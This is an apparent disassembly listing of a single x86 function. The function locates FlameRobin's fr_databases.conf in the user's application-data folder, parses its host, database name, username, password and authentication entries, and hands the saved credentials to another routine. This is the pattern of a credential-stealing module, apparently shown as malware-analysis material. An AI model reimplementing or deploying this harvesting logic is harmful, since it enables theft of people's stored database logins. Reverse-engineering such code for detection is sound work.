Function at 0x42fe9a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x6d88
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x1f5b]
push esi
push edi
mov esi, 0x3e7
mov dword [ebp - 0x6d84], ecx
push esi
push 0
push eax
mov byte [ebp - 0x1f5c], 0
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x1b74], 0
lea eax, [ebp - 0x1b73]
push esi
push 0
push eax
call fcn.006390b0
mov esi, str.fr_databases.conf
lea edi, [ebp - 0x1c]
add esp, 0xc
movsd dword es:[edi], dword [esi]
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x42ff4c
lea eax, [ebp - 0x1b74]
push eax
xor eax, eax
push eax
push eax
push 0x1c
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x42ff3f
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
mov eax, str._s_flamerobin_s
lea ebx, [ebp - 0x1b74]
jmp 0x42ff51
mov eax, 0x6c643c
lea ecx, [ebp - 0x1c]
push ecx
push ebx
push eax
lea eax, [ebp - 0x1f5c]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x1f5c]
xor ebx, ebx
mov dword [ebp - 0x6d80], ebx
push 0x6c63d0
push eax
lea eax, [ebp - 0x6d80]
push eax
call fcn.00649a00
add esp, 0xc
test eax, eax
jne 0x42ff2c
cmp dword [ebp - 0x6d80], ebx
je 0x42ff2c
mov esi, 0x3e7
mov byte [ebp - 0xfbc], bl
push esi
lea eax, [ebp - 0xfbb]
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x7ec], bl
lea eax, [ebp - 0x7eb]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x178c], bl
lea eax, [ebp - 0x178b]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0xbd4], bl
lea eax, [ebp - 0xbd3]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x404], bl
lea eax, [ebp - 0x403]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0x6d7c]
push dword [ebp - 0x6d80]
push 0x2710
push eax
call fcn.006494dd
mov edi, dword [ebp - 0x6d84]
jmp 0x43038f
lea eax, [ebp - 0x6d7c]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x430065
lea eax, [ebp - 0x6d7c]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, 0x2710
jae 0x430458
mov byte [ebp + eax - 0x6d7c], bl
lea ecx, [ebp - 0x6d7c]
call fcn.004047e7
lea eax, [ebp - 0x6d7c]
push eax
lea eax, [ebp - 0x466c]
push 0x2710
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x466c]
push eax
call fcn.00643470
pop ecx
inc eax
push eax
lea eax, [ebp - 0x466c]
push eax
call fcn.0064ffd4
lea eax, [ebp - 0x466c]
push str.__database_
push eax
call fcn.00639500
add esp, 0x10
test eax, eax
je 0x430189
lea eax, [ebp - 0x7ec]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x43016c
lea eax, [ebp - 0xbd4]
push str.encpwd
push eax
call fcn.0064fd85
pop ecx
pop ecx
test eax, eax
je 0x43016c
lea eax, [ebp - 0x404]
push eax
call fcn.00643470
cmp eax, 1
lea eax, [ebp - 0x404]
pop ecx
push eax
jbe 0x430129
lea eax, [ebp - 0xfbc]
push eax
push str._s__DB:__s_
lea eax, [ebp - 0x13a4]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
jmp 0x43013d
lea eax, [ebp - 0x13a4]
push 0x3e8
push eax
call fcn.006494f3
add esp, 0xc
push 0xffffffffffffffff
push 0x6c5bb9
lea eax, [ebp - 0x7ec]
mov ecx, edi
push eax
lea eax, [ebp - 0x13a4]
push eax
lea eax, [ebp - 0x178c]
push eax
push 0x6c5bb9
push 0x26e
push 6
call fcn.0043ee6b
mov byte [ebp - 0x404], bl
mov byte [ebp - 0xbd4], bl
mov byte [ebp - 0xfbc], bl
mov byte [ebp - 0x7ec], bl
jmp 0x430378
lea eax, [ebp - 0x466c]
push str._host_
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4301ec
push str._host_
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x466c]
sub esi, ecx
lea ecx, [ebp - 0x6d7c]
add esi, ecx
add esi, eax
push 0x3c
push esi
call fcn.00639770
pop ecx
pop ecx
test eax, eax
je 0x4301cf
mov byte [eax], bl
push esi
lea eax, [ebp - 0x178c]
push 0x3e8
push eax
call fcn.006494f3
lea ecx, [ebp - 0x178c]
jmp 0x430370
lea eax, [ebp - 0x466c]
push str._name_
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x43024f
push str._name_
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x466c]
sub esi, ecx
lea ecx, [ebp - 0x6d7c]
add esi, ecx
add esi, eax
push 0x3c
push esi
call fcn.00639770
pop ecx
pop ecx
test eax, eax
je 0x430232
mov byte [eax], bl
push esi
lea eax, [ebp - 0x404]
push 0x3e8
push eax
call fcn.006494f3
lea ecx, [ebp - 0x404]
jmp 0x430370
lea eax, [ebp - 0x466c]
push str._username_
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4302b2
push str._username_
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x466c]
sub esi, ecx
lea ecx, [ebp - 0x6d7c]
add esi, ecx
add esi, eax
push 0x3c
push esi
call fcn.00639770
pop ecx
pop ecx
test eax, eax
je 0x430295
mov byte [eax], bl
push esi
lea eax, [ebp - 0xfbc]
push 0x3e8
push eax
call fcn.006494f3
lea ecx, [ebp - 0xfbc]
jmp 0x430370
lea eax, [ebp - 0x466c]
push str._password_
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x430312
push str._password_
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x466c]
sub esi, ecx
lea ecx, [ebp - 0x6d7c]
add esi, ecx
add esi, eax
push 0x3c
push esi
call fcn.00639770
pop ecx
pop ecx
test eax, eax
je 0x4302f8
mov byte [eax], bl
push esi
lea eax, [ebp - 0x7ec]
push 0x3e8
push eax
call fcn.006494f3
lea ecx, [ebp - 0x7ec]
jmp 0x430370
lea eax, [ebp - 0x466c]
push str._authentication_
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x430378
push str._authentication_
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x466c]
sub esi, ecx
lea ecx, [ebp - 0x6d7c]
add esi, ecx
add esi, eax
push 0x3c
push esi
call fcn.00639770
pop ecx
pop ecx
test eax, eax
je 0x430358
mov byte [eax], bl
push esi
lea eax, [ebp - 0xbd4]
push 0x3e8
push eax
call fcn.006494f3
lea ecx, [ebp - 0xbd4]
add esp, 0xc
call fcn.004047e7
push dword [ebp - 0x6d80]
lea eax, [ebp - 0x6d7c]
push 0x2710
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
jne 0x430034
push dword [ebp - 0x6d80]
call fcn.00649273
pop ecx
lea eax, [ebp - 0x7ec]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x430450
lea eax, [ebp - 0xbd4]
push str.encpwd
push eax
call fcn.0064fd85
pop ecx
pop ecx
test eax, eax
je 0x430450
lea eax, [ebp - 0x404]
push eax
call fcn.00643470
cmp eax, 1
lea eax, [ebp - 0x404]
pop ecx
push eax
jbe 0x43040d
lea eax, [ebp - 0xfbc]
push eax
push str._s__DB:__s_
lea eax, [ebp - 0x13a4]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
jmp 0x430421
lea eax, [ebp - 0x13a4]
push 0x3e8
push eax
call fcn.006494f3
add esp, 0xc
push 0xffffffffffffffff
push 0x6c5bb9
lea eax, [ebp - 0x7ec]
push eax
lea eax, [ebp - 0x13a4]
push eax
lea ecx, [ebp - 0x178c]
push ecx
push 0x6c5bb9
push 0x26e
push 6
mov ecx, edi
call fcn.0043ee6b
xor eax, eax
inc eax
jmp 0x42ff2e
call fcn.00612782
int3